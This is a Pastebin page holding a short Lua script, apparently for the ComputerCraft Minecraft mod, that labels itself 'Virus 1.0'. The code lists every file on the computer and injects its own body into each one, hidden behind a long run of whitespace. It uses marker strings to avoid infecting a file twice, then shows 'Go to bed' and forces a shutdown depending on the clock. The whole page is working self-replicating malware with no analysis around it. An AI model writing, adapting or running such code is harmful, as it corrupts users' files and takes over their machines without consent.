libraryaddict

Untitled

Apr 17th, 2012
116
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 2.25 KB | None | 0 0
  1. Gahahaha = 1 --[[Virus 1.0 libraryaddictidentify]] HijackFiles = {} HijackDirs = {} TempDirs = fs.list("/") while TempDirs[1] do   for n=1,#TempDirs do     if TempDirs[n] ~= "rom" and TempDirs[n] ~= shell.getRunningProgram() then       if fs.isDir(TempDirs[n]) then         local ListDir = fs.list(TempDirs[n])         for h=1,#ListDir do            HijackDirs[#HijackDirs+1] = TempDirs[n].."/"..ListDir[h]         end       else         HijackFiles[#HijackFiles+1] = TempDirs[n]       end       TempDirs[n] = nil     end    end   TempDirs = HijackDirs   HijackDirs = {} end      function infectLine(file, Infection)   local lolol = io.open(file, "r")   local content = {}   local i = 1   local pig = ""   for line in lolol:lines() do    content[#content+1] = line     i = i + 1     pig = pig..line   end   lolol:close()   lineno = math.floor(tonumber(i)/3)   if lineno == 0 then lineno = 1 end   if not string.find(pig, "libraryaddictid".."entify") then   content[lineno] = content[lineno].."                                                                                                                                 ".."Gahahaha = "..lineno..Infection   end   local lolol = io.open( file, "w" )   for i = 1, #content do     lolol:write( string.format( "%s\n", content[i] ) )   end   lolol:close() end function Check(filename)   local lolol = io.open(filename, "r")   for line in lolol:lines() do    local first = string.find(line, "libraryaddictid".."entify")       local last = string.find(line, "libraryaddictide".."ntt")       if first and last then     lolol:close()     return false     end   end   return true end function Get()   local lolol = io.open(shell.getRunningProgram(), "r")   for line in lolol:lines() do     local first = string.find(line, "libraryaddictid".."entify")       local last = string.find(line, "libraryaddictide".."ntt")     if first and last then      lolol:close()     return string.sub(line, first-14, last+20)     end   end end for n=1,#HijackFiles do   if Check(HijackFiles[n]) then     infectLine(HijackFiles[n], Get())   end end  if math.floor(os.time()) >= 5.0 then term.clear() term.scroll(1) print("Go to bed") end if math.floor(os.time()) >= 6.0 then term.clear() term.scroll(1) print("Go to bed") sleep(5) os.shutdown() end  --[[libraryaddictidentt]]
Advertisement
Add Comment
Please, Sign In to add comment